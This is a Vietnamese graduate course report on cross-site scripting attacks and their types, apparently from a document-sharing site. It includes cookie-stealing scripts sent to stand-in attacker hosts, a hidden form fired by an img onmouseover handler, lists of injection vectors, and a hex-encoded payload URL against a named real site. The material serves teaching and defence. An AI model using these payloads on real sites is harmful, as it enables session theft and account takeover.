1. Trang chủ
  2. » Công Nghệ Thông Tin

KĨ THUẬT TẤN CÔNG CROSS-SITE SCRIPTING (XSS)

27 888 6

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 27
Dung lượng 1,46 MB

Nội dung

KĨ THUẬT TẤN CÔNG CROSS-SITE SCRIPTING (XSS)

Trang 1

ĐẠI HỌC ĐÀ NẴNG TRƯỜNG ĐẠI HỌC BÁCH KHOA KHOA CÔNG NGHỆ THÔNG TIN

Tel (84-511) 736 949, Website: itf.ud.edu.vn, E-mail: cntt@edu.ud.vn

BÁO CÁO TIỂU LUẬN MÔN HỌC

AN TOÀN VÀ BẢO MẬT THÔNG TIN MẠNG NGÀNH KHOA HỌC MÁY TÍNH

ĐỀ TÀI :

KĨ THUẬT TẤN CÔNG CROSS-SITE SCRIPTING (XSS)

GVHD : TS NGUYỄN TẤN KHÔI Nhóm HV : 1 LÊ ĐỨC THỌ

2 VÕ XUÂN LỢI

Lớp Cao học KHMT Khóa 28 (2013  2015)

ĐÀ NẴNG, 01/2015

Trang 2

MỤC LỤC

1 GIỚI THIỆU CHUNG 1

2 GIỚI THIỆU VỀ XSS 1

2.1 Tìm hiểu XSS 1

2.1.1 XSS là gì? 1

2.1.2 Làm thế nào chèn những đoạn mã JavaScript độc hại 1

2.1.3 JavaScript độc hại là gì? 2

2.1.4 Hậu quả của JavaScript độc hại 2

2.1.5 Các tác nhân trong một cuộc tấn công XSS 3

2.1.6 Một ví dụ về kịch bản tấn công 3

2.1.7 Thực hiện kịch bản tấn công như thế nào? 4

2.2 Các loại XSS 4

2.2.1 Stored XSS 4

2.2.2 Reflected XSS 5

2.2.3 DOM-based XSS 6

2.3 Mức độ nguy hiểm của XSS 7

2.4 Mục tiêu mà XSS hướng tới 7

3 HOẠT ĐỘNG CỦA XSS 8

4 CẢNH GIÁC VỚI XSS 11

5 KIỂM TRA LỖI XSS 12

5.1 Sử dụng Tool 12

5.2 Thử bằng Code 12

6 KHAI THÁC LỖI XSS 14

6.1 Tóm tắt các bước thực hiện 14

6.2 Các cách thực hiện 15

6.2.1 Nghiên cứu cách lấy cookies 15

6.2.2 Nghiên cứu cách lấy account 15

6.2.3 Tấn Công XSS Bằng Flash 16

6.3 Attacker dùng XSS để lừa đảo 18

Trang 3

6.4 Cách vượt qua cơ chế lọc ký tự 18

7 PHÒNG CHỐNG XSS 19

7.1 Với những dữ liệu người thiết kế và phát triển ứng dụng Web 19

7.2 Đối với người dùng 21

8 PHẠM VI VÀ TÍNH KHẢ THI CỦA PHƯƠNG PHÁP TẤN CÔNG BẰNG XSS 21

9 ĐÁNH GIÁ 22

10 DEMO……….26

Trang 4

1 GIỚI THIỆU CHUNG

Website ngày nay rất phức tạp và thường là các web động, nội dung của web được cập nhật thông qua các thành viên tham gia ở khắp mọi nơi trên thế giới Và hầu hết các website này dùng Cookie để xác thực người dùng

Điều này đồng nghĩa với việc Cookie của ai thì người đó dùng, Nếu lấy được Cookie người dùng nào Hacker sẽ giả mạo được chính người dùng đó(điều này là hết sức nguy hiểm) Vậy làm sao để các hacker có thể lấy cookie của bạn? Có rất nhiều cách để các hacker làm việc đó, ở đây tôi xin trình bày một trong những cách mà hacker thường dùng,

đó chính là họ nhờ vào lỗi Cross Site Scripting(XSS)

Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công phổ biến nhất hiện nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển web và cả những người sử dụng web Bất kì một website nào cho phép người sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS

XSS được thực hiện trên các thẻ JavaScript, và các thẻ JavaScript chúng có thể làm

được những công việc sau:

1 Thay đổi cấu trúc của toàn bộ trang web

Trong đó những đoạn mã nguy hiểm được chèn vào hầu hết được viết bằng Site Script như javascript, Jscript, DHTML và cũng có thể là các thẻ HTML

Client-XSS là một lỗi phổ biến, có rất nhiều trang web bị mắc phải lỗi này, chính vì thế ngày càng có nhiều người quan tâm đến lỗi này

2.1.2 Làm thế nào chèn những đoạn mã JavaScript độc hại

Cách duy nhất để những hacker thực thi mã JavaScript độc hại của mình trong trình duyệt của nạn nhân là chèn nó vào một trong những trang web mà các nạn nhân tải từ trang web Điều này sẽ xảy ra nếu người dùng nhập trực tiếp thông tin vào trang web, bởi

Trang 5

vì sau đó hacker có thể chèn vào một chuỗi, đó sẽ được coi như mã của trình duyệt của nạn nhân

Trong ví dụ dưới đây, một server-side script đơn giản được sử dụng để hiển thị bình luận mới nhất trên một trang web:

print "<html>"

print "Latest comment:"

print database.latestComment

print "</html>"

Các kịch bản giả định rằng một lời bình luận chỉ bao gồm các văn bản Tuy nhiên,

kể từ khi người dùng nhập trực tiếp, hacker có thể gửi bình luận này: "<script> </ script>" Bất kỳ người dùng truy cập vào trang hiện nay sẽ nhận được các phản ứng sau đây:

Lúc đầu, khả năng thực thi JavaScript trong trình duyệt của người dùng không có

vẻ đặc biệt nguy hiểm Sau tất cả, JavaScript chạy trong một môi trường rất hạn chế có quyền truy cập rất hạn chế vào các tập tin của người dùng và hệ điều hành Trong thực

tế, người dùng có thể mở giao diện điều khiển JavaScript của trình duyệt và thực hiện bất

kỳ JavaScript mà họ muốn, và họ sẽ rất khó có khả năng gây ra bất kỳ thiệt hại cho máy tính của bạn

Tuy nhiên, khả năng nguy hiểm của JavaScript trở nên rõ ràng hơn khi xem xét các

sự kiện sau đây:

 JavaScript có quyền truy cập vào một số thông tin nhạy cảm của người dùng, chẳng hạn như các tập tin cookie

JavaScript có thể gửi yêu cầu HTTP với nội dung tùy ý tới các điểm đến tùy ý bằng cách sử dụng XMLHttpRequest và các cơ chế khác

JavaScript có thể làm thay đổi tùy vào HTML của trang hiện tại bằng cách sử dụng phương pháp thao tác DOM

Những sự kiện này kết hợp có thể gây ra lỗ hổng bảo mật rất nghiêm trọng, sẽ giải thích sau

2.1.4 Hậu quả của JavaScript độc hại

Trong số rất nhiều những thứ khác, khả năng thực thi JavaScript trong trình duyệt của người dùng khác cho phép kẻ tấn công thực hiện các loại sau đây của các cuộc tấn công:

Trang 6

Trộm cắp Cookie

Hacker có thể truy cập các tập tin cookie của nạn nhân liên quan đến những trang web sử dụng file cookie, gửi chúng đến máy chủ của của website người dùng, và sử dụng chúng để lấy thông tin nhạy cảm như ID

Keylogging

và sau đó gửi tất cả các thao tác bàn phím của người sử dụng đến máy chủ của mình, như mật khẩu và số thẻ tín dụng

Lừa đảo

Hacker có thể chèn một hình thức đăng nhập giả mạo vào trang web bằng cách sử

đó lừa người dùng vào gửi thông tin nhạy cảm

2.1.5 Các tác nhân trong một cuộc tấn công XSS

Trước khi mô tả một cách chi tiết làm thế nào một cuộc tấn công XSS hoạt động, chúng ta cần phải xác định các bên liên quan trong một cuộc tấn công XSS Nói chung,

một cuộc tấn công XSS liên quan đến ba tác nhân: các trang web, các nạn nhân, và những hacker

những trang có hại ngay tại tình duyệt của mình

khởi động một cuộc tấn công nạn nhân bằng cách khai thác một lỗ hổng XSS trong trang web

với mục đích duy nhất là ăn cắp thông tin nhạy cảm của nạn nhân

2.1.6 Một ví dụ về kịch bản tấn công

Trong ví dụ này, chúng ta sẽ cho rằng mục tiêu cuối cùng của kẻ tấn công là để ăn cắp cookie của nạn nhân bằng cách khai thác một lỗ hổng XSS trong trang web Điều này có thể được thực hiện bằng cách trình duyệt của nạn nhân phân tích mã HTML sau đây

<script>

window.location='http://attacker/?cookie='+document.cookie

</script>

Kịch bản này điều hướng trình duyệt của người dùng đến một URL khác nhau, gây

ra một yêu cầu HTTP đến máy chủ của kẻ tấn công URL bao gồm các tập tin cookie của nạn nhân như một tham số truy vấn, trong đó kẻ tấn công có thể trích xuất từ yêu cầu khi

nó đến với máy chủ của mình Một khi kẻ tấn công đã có các tập tin cookie, họ có thể sử dụng chúng để mạo danh các nạn nhân và khởi động nhiều cuộc tấn công hơn nữa

Trang 7

Từ bây giờ, các mã HTML trên sẽ được gọi là chuỗi độc hại hoặc các đoạn mã độc hại Điều quan trọng cần lưu ý là chuỗi đó chỉ là độc hại nếu nó cuối cùng được phân tích dưới dạng HTML trong trình duyệt của nạn nhân, mà chỉ có thể xảy ra như là kết quả của một lỗ hổng XSS trong trang web

2.1.7 Thực hiện kịch bản tấn công như thế nào?

Biểu đồ dưới đây minh họa cách tấn công ví dụ này có thể được thực hiện bởi một

kẻ tấn công:

1 Hacker sử dụng một trong các hình thức của trang web để chèn một chuỗi độc hại vào cơ sở dữ liệu của trang web

2 Nạn nhân yêu cầu một trang từ trang web

3 Trang web này bao gồm các chuỗi độc hại từ cơ sở dữ liệu trong các phản ứng và gửi nó đến các nạn nhân

4 Trình duyệt của nạn nhân thực thi các đoạn mã độc hại bên trong phản ứng, gửi các tập tin cookie của nạn nhân vào máy chủ của kẻ tấn công

2.2 Các loại XSS

Trong khi mục tiêu của một cuộc tấn công XSS luôn luôn thực thi JavaScript độc hại trong trình duyệt của nạn nhân, có một số cách cơ bản khác nhau để đạt được mục tiêu đó Các cuộc tấn công XSS thường được chia thành ba loại:

2.2.1 Stored XSS

Stored XSS là hình thức tấn công mà ở đó cho phép kẻ tấn công có thể chèn một đoạn script nguy hiểm (thường là Javascript) vào website của chúng ta thông qua một chức năng nào đó (vd: viết lời bình, guestbook, gởi bài ), để từ đó khi các thành viên

Trang 8

khác truy cập website sẽ bị dính mã độc từ kẻ tấn công này, các mã độc này thường được lưu lại trong database của website chúng ta nên gọi là Stored Stored XSS phát sinh do chúng ta không lọc dữ liệu do thành viên gởi lên một cách đúng đắn, khiến cho mã độc được lưu vào Database của website

2.2.2 Reflected XSS

Trong một cuộc tấn công Reflected XSS, chuỗi độc hại là một phần của yêu cầu của nạn nhân đến trang web Trang web sẽ chứa chuỗi độc hại này trong các phản hồi được gửi lại cho người sử dụng Biểu đồ dưới đây minh họa kịch bản này:

1 Kẻ tấn công tạo ra một URL có chứa một chuỗi độc hại và gửi nó đến các nạn nhân

Trang 9

2 Kẻ tấn công lừa nạn nhân, yêu cầu nạn nhận truy cập URL chứa chuỗi độc hại từ trang web

3 Trang web này bao gồm các chuỗi độc hại từ các URL trong các phản hồi

4 Trình duyệt của nạn nhân thực thi các đoạn mã độc hại bên trong phản hồi, gửi các tập tin cookie của nạn nhân vào máy chủ của kẻ tấn công

2.2.3 DOM-based XSS

cuộc tấn công DOM-based XSS, chuỗi độc hại không thực sự phân tích bằng trình duyệt của nạn nhân cho đến khi JavaScript hợp pháp của trang web được thực hiện Biểu đồ dưới đây minh họa kịch bản này cho một cuộc tấn công XSS phản ánh:

1 Kẻ tấn công tạo ra một URL chứa chuỗi độc hại và gửi nó đến nạn nhân

2 Kẻ tấn công lừa nạn nhân thực hiện một yêu cầu truy cập đến URL này từ trang web

3 Website nhận được yêu cầu, nhưng không bao gồm chuỗi độc hị tỏng phản hồi

4 Trình duyệt của nạn nhân thực thi mã script hợp pháp bên trong phản hồi, gây nên việc mã độc hại được chèn vào trang web

5 Trình duyệt của nạn nhân thực thi mã độc hại được chèn vào trang, và gửi file cookies của nạn nhân đến máy chủ của kẻ tấn công

Trang 10

2.3 Mức độ nguy hiểm của XSS

Theo thống kê về các lỗ hổng bảo mật thường bị tấn công nhất vào năm 2009

Cross-Site Scripting (XSS) chiếm một tỉ lệ rất cao so với các phương pháp tấn công khác

Kĩ thuật XSS được mô tả lần đầu tiên cách đây 5 năm (từ năm 2007 đến 2011) và hầu hết các khả năng tiềm ẩn của kĩ thuật này đã được biết đến Tuy nhiên chúng ta mới chỉ khắc phục được một phần của nó Không phải vô tình mà Yahoo Mail lại để sót một lỗi XSS trong bộ lọc của mình Một phương pháp tối ưu vẫn còn đang ở phía trước

2.4 Mục tiêu mà XSS hướng tới

XSS khai thác thường được sử dụng để đạt được các kết quả độc hại sau đây:

Trang 11

* Truy cập thông tin nhạy cảm hoặc bị hạn chế

* Ăn cắp tiền (giao dịch ngân hàng, mua hàng online….)

* Theo dõi thói quen lướt web của người dùng

* Thay đổi năng của trình duyệt

* Bôi nhọ danh tiếng của một cá nhân hay công ty

* Hủy hoại ứng dụng Web

http://www.xxx.vn//index.php?pg=news&cat=<script>alert(“Lỗi XSS”)</script>

Trang 12

Và nội dung xuất hiện trên trình duyệt là một cái popup có thông tin là „Lỗi XSS‟

Ở trên ví dụ 1 trên chỉ minh họa một cách đơn giản là thêm đoạn mã của mình vào trang Web thông qua URL Nhưng thực sự thì có rất nhiều cách để thêm đoạn mã JavaScript với mục đích tấn công kiểu XSS Hacker có thể dễ dàng lợi dụng Document Object Model (DOM) để thay đổi ngữ cảnh và nội dụng Web ứng dụng

Ví dụ 2: Sau đây là danh sách nơi có thể chèn đoạn mã:

<a href= "javas&#99;ript&#35;[code]">

<div style="background-image: url(javascript:[code]);">

<div style="behaviour: url([liên kết to code]);">

<div style="binding: url([liên kết to code]);">

<div style="width: expression([code]);">

Phần in đậm là phần có thể đặt đoạn mã đánh cắp thông tin

Về cơ bản XSS cũng giống như SQL Injection hay Source Injection, nó cũng là các yêu cầu (request) được gửi từ các máy client tới server nhằm chèn vào đó các thông tin vượt quá tầm kiểm soát của server

Nó có thể là một request được gửi từ các form dữ liệu hoặc cũng có thể đó chỉ là các

URL như là :

http://www.example.com/search.cgi?query=<script>alert('XSS was found

!');</script>

Trang 13

Và rất có thể trình duyệt của bạn sẽ hiện lên một thông báo "XSS was found !" Các đoạn mã trong thẻ script không hề bị giới hạn bởi chúng hoàn toàn có thể thay thế bằng một file nguồn trên một server khác thông qua thuộc tính src của thẻ script Cũng chính vì lẽ đó mà chúng ta chưa thể lường hết được độ nguy hiểm của các lỗi XSS Nhưng nếu như các kĩ thuật tấn công khác có thể làm thay đổi được dữ liệu nguồn của web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối với website ở phía client mà nạn nhân trực tiếp là những người khách duyệt site đó Tất nhiên đôi khi các hacker cũng sử dụng kĩ thuật này đề deface các website nhưng đó vẫn chỉ tấn công vào bề mặt của website

Thật vậy, XSS là những Client-Side Script, những đoạn mã này sẽ chỉ chạy bởi trình duyệt phía client do đó XSS không làm ảnh hưởng đến hệ thống website nằm trên server Mục tiêu tấn công của XSS không ai khác chính là những người sử dụng khác của website, khi họ vô tình vào các trang có chứa các đoạn mã nguy hiểm do các hacker để lại

họ có thể bị chuyển tới các website khác, đặt lại homepage, hay nặng hơn là mất mật khẩu, mất cookie thậm chí máy tính bạn có thể sẽ bị cài các loại virus, backdoor, worm Trong kĩ thuật XSS thường thì các link mà hacker dùng đều đã được mã hóa nên ngưới dùng khó mà phát hiện ra Sau đây là cách mã hoá(HEX) các kí tự thường dùng trong lỗi XSS của thanh AddressBar của Browser

Trang 14

Ví dụ 3: Một địa chỉ đã được mã hóa HEX

http://vieclambank.com/search.php?s=">%3C%73%63%72%69%70%74%20%73%72%63%25%33%44%68%74%74%70%25%33%41%25%32%46%25%32%46%6 A%73%6E%67%6F%63%2E%76%6E%6E%2E%6D%73%25%32%46%78%73% 73%2E%6A%73%3E%3C%25%32%46%73%63%72%69%70%74%3E

4 CẢNH GIÁC VỚI XSS

Có lẽ không cần liệt kê những nguy hiểm của XSS, nhưng trên thực tế nếu bạn có một chút hiểu biết về XSS bạn sẽ không còn phải sợ chúng nữa Thật vậy bạn hoàn toàn

có thể tránh khỏi việc bị tấn công bởi những lỗi XSS nếu hiểu kĩ về nó

Các thẻ HTML đều có thể là công cụ cho các cuộc tấn công bởi kĩ thuật XSS, trong

đó 2 thẻ IMG và IFRAME có thể cho phép trình duyệt của bạn load thêm các website khác khi các lệnh HTML được hiển thị Ví dụ như BadTrans Worm một loại worm sử dụng thẻ IFRAME để lây lan trong các hệ thống có sử dụng Outlook hay Outlook Express:

====_ABC1234567890DEF_==== Content-Type: multipart/alternative;

<form action="http://attacker.com/save.asp" method="post" name="XSS">

<input type="hidden" name="cookie">

</form>

<img border="0" onmouseover="window.document.XSS.cookie.value =

document.cookie; window.document.XSS.submit();" src="none.jpg">

Vậy là khi bạn nhận thư, và nếu bạn vô tình đưa con chuột qua bức ảnh gửi kèm thì cũng có nghĩa là bạn đã bị lấy mất cookie Và với cookie lấy được, các hacker có thể dễ dàng login hòm thư của bạn mà không cần biết mật khẩu của bạn Thực sự tôi cũng rất bất ngờ khi tìm thấy rằng Yahoo khi đó đã ngăn được hầu hết các mối đe doạ từ các thẻ HTML lại bỏ qua thẻ IMG Tuy nhiên cho tới ngày 12/7/2003 Yahoo đã kịp thời vá lỗ

Ngày đăng: 10/10/2016, 09:30

TỪ KHÓA LIÊN QUAN

w